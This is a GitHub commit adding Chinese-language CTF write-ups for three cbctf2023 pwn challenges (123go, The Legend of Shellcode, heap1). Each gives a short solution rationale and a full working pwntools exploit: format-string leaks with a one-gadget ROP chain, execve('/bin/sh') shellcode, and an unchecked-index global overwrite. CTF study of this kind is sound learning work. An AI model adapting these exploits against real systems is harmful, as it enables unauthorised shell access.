Skip to content

Commit

Permalink
fill cbctf2023 wp
Browse files Browse the repository at this point in the history
  • Loading branch information
RocketMaDev committed Apr 21, 2024
1 parent 157ad01 commit d6274c3
Show file tree
Hide file tree
Showing 13 changed files with 796 additions and 4 deletions.
71 changes: 71 additions & 0 deletions cbctf2023/123go.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
# 123go

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO |Full |
|Canary|on |
|NX |on |
|PIE |on |
|strip |no |
|libc |2.31-0ubuntu9.14|

## 解题思路

一次printf,两次scanf,每次16字节,颇有一点难度
我一看栈的地址,因为ASLR的存在乱跳,不方便硬编码;写2个字节吧,又没有机会leak libc;
因为栈上有跳板`ptr1->ptr2->char[]str`,因此可以`*ptr1=ptr2x->retAddr`(打moectf打的),
然后再`*ptr2x=oneGadget`控制返回流为ogg;但是我检查限制条件时,发现让`r12 == 0`不满足,
故先写`pop r12;ret`的地址到返回地址上,跟一个`p64(0)`,把让r12改成0,再做ogg;
此时发现,scanf岂不是比%n好用多了?所以第一个scanf改的是跳板,第二个改的是返回地址内容

值得注意的是,scanf("%s")是不按\0截断的,并且也可以用`%8$s`这种方式指定参数序号

## EXPLOIT

```python
from pwn import *

def payload(lo:int):
global sh
libc = ELF('./libc-2.31.so')
if lo:
sh = process('123go')
if lo & 2:
gdb.attach(sh)
else:
sh = remote('training.0rays.club', 10039)

# payload 1, leak stack & libc
sh.sendafter(b'name:', b'%11$p%13$p')

sh.recvuntil(b'llo:') # skip
libcstartmain = int(sh.recv(14).decode(), 16)
libcBase = libcstartmain - 243 - libc.symbols['__libc_start_main']
print('libc leaked')

stack = int(sh.recv(14).decode(), 16)
retAddr = stack - 0x648 + 0x558
print('stack leaked')

if libcBase & 0xfff:
print(f'Invalid libcBase ({hex(libcBase)})')
sh.close()
return False

sh.sendafter(b'text', b'%13$d')
input('type <CR> when ready') # avoid input piling
sh.sendline(str(retAddr & 0xffffffff).encode()) # int is enough
print('addr sent')

popR12 = libcBase + 0xc9e91
oneGadget = libcBase + 0xe3afe
sh.sendafter(b'text', b'%41$s')
input('type <CR> when ready')
sh.sendline(p64(popR12) + p64(0) + p64(oneGadget))
print('payload sent')

sh.interactive()
```
9 changes: 5 additions & 4 deletions cbctf2023/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,11 @@
## 索引

1. Pwn (AK)
- heap1
- reg
- The Legeng of Shellcode
- 123go
- [heap1](./heap1.md)
- [reg](./reg.md)
- [The Legend of Shellcode](./TheLegendOfShellcode.md)
- [123go](./123go.md)
> [rest challenges all in one](./remainder.md)
2. Reverse
- Pwn
- TIVM-Checkin
Expand Down
89 changes: 89 additions & 0 deletions cbctf2023/TheLegendOfShellcode.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
# The Legend of Shellcode

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO |Full |
|Canary|on |
|NX |off |
|PIE |on |
|strip |no |
|libc |2.31-0ubuntu9.12|

## 解题思路

nx没开,栈上放了一堆`ret`,一运行就是`pop rip`,那么控制好rsp,就能让rip跳到下一个read的段;
由于我想的是`add rax,0x10;push rax`的方式移动rip,因此读入9字节,只剩4字节空间了,不适合放"/bin/sh"
字符串,因此考虑在初始读入的位置搓一个`SYSCALL_read`出来方便读入完整的shellcode(打newstar ctf打的),
再跳转过去就可以拿到shell

> 赛后交流发现short jmp所耗字节更少,还是疏忽了
## EXPLOIT

```python
from pwn import *
context.arch = 'amd64'

def payload(lo:int):
if lo:
sh = process('./code')
if lo & 2:
gdb.attach(sh, gdbscript='b *$rebase(0x13b7)')
else:
sh = remote('training.0rays.club', 10004)

# section 1
shc = asm('''
push rax
xor rdi,rdi
add rax,0x10
push rax
''')
sh.send(shc)

# section 2
shc = asm('''
pop rbx
mov rdx,r11
add rax,0x10
push rax
''')
sh.send(shc)

# section 3
shc = asm('''
push rbx
pop rsi
push rbx
xor rax,rax
syscall
ret
''')
sh.send(shc)

# skipping rest
sh.sendlineafter(b'sh:', b'')
sh.sendlineafter(b'ht:', b'')
sh.sendlineafter(b'ul:',b'')


# section SYSCALL_read
shc = asm('''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor rsi,rsi
xor rdx, rdx
push 0x3b
pop rax
syscall
''')
sh.sendlineafter(b'ru', shc)

sh.interactive()
```

Binary file added cbctf2023/assets/bypass.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added cbctf2023/assets/calc.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added cbctf2023/assets/dnstxt.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added cbctf2023/assets/motherOfEarth.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
File renamed without changes
Binary file added cbctf2023/assets/sandbox.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added cbctf2023/assets/tupper.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
124 changes: 124 additions & 0 deletions cbctf2023/heap1.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
# heap1

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO|Partial|
|Canary|off |
|NX |on |
|PIE |off |
|strip |yes |

## 解题思路

看似堆题实则根本不是堆题!看了半天`myread`,也没off-by-null,结果是虚晃一枪

能分配单元的数量由`gsizes[31]`决定,初始值是0x20,可以通过edit修改,另外还发现除了add函数,
剩下的函数都不检查idx,分配不分配的到指针也不检查,所以可以尝试把目标地址借助size写到`gsizes[0]`中;
由于没开pie,可以很轻松地写入,唯一的问题是edit需要大小,那么可以通过overlap解决

```
建议使用等宽字体
+------------+
gbuf[0] -> | 0 |
+------------+
gsizes[0] -> | 0 | <- gbuf[0 + 0x20] (以下不再赘述)
+------------+
gsizes[31] -> | 0x20 |
+------------+
##############
|| 修改能分配的单元数量
\/
+------------+
gbuf[0] -> | 0 |
+------------+
gsizes[0] -> | 0 |
+------------+
gsizes[31] -> | 666 |
+------------+
gsizes[32] -> | 0 |
+------------+
target -> | 0 | <- need to be 'Seg_Tree'
+------------+
|| 先给32号单元设置size,方便后面edit
\/
+------------+
gbuf[0] -> | 0 |
+------------+
gsizes[0] -> | 0x410130 | <- assumption
+------------+
gsizes[31] -> | 666 |
+------------+
gsizes[32] -> | 9 |
+------------+
target -> | 0 |
+------------+
|| 接着设置0号单元,将目标地址放在gsizes[0] (gbuf[32]) 上
\/
+------------+
gbuf[0] -> |0x7f..773200| <- assumption (large memory chunk should be alloced near libc(?))
+------------+
gsizes[0] -> | 0x4040c0 |
+------------+
gsizes[31] -> | 666 |
+------------+
gsizes[32] -> | 9 |
+------------+
target -> | 0 |
+------------+
|| 最后edit32号单元,修改目标地址的内容
\/
+------------+
gbuf[0] -> |0x7f..773200|
+------------+
gsizes[0] -> | 0x4040c0 | --+
+------------+ |
gsizes[31] -> | 666 | |
+------------+ |
gsizes[32] -> | 9 | |
+------------+ |
target -> | "Seg_Tree" | <-+
+------------+
```

## EXPLOIT

```python
from pwn import *
def payload(lo:int):
if lo:
sh = process('./heap1')
if lo & 0b10:
gdb.attach(sh)
else:
sh = remote("training.0rays.club", 10073)

def add(idx:int, size:int):
sh.recvuntil(b'ice:')
sh.sendline(b'1')
sh.sendline(str(idx).encode())
sh.sendline(str(size).encode())

def edit(idx:int, cont:bytes):
sh.recvuntil(b'ice:')
sh.sendline(b'3')
sh.sendline(str(idx).encode())
sh.sendline(cont)

def Exit():
sh.recvuntil(b'ice:')
sh.sendline(b'5')

add(31, 666)
add(32, 9)
add(0, 0x4040c0)
edit(32, b'Seg_Tree')
Exit()
sh.interactive()
```
Loading

0 comments on commit d6274c3

Please sign in to comment.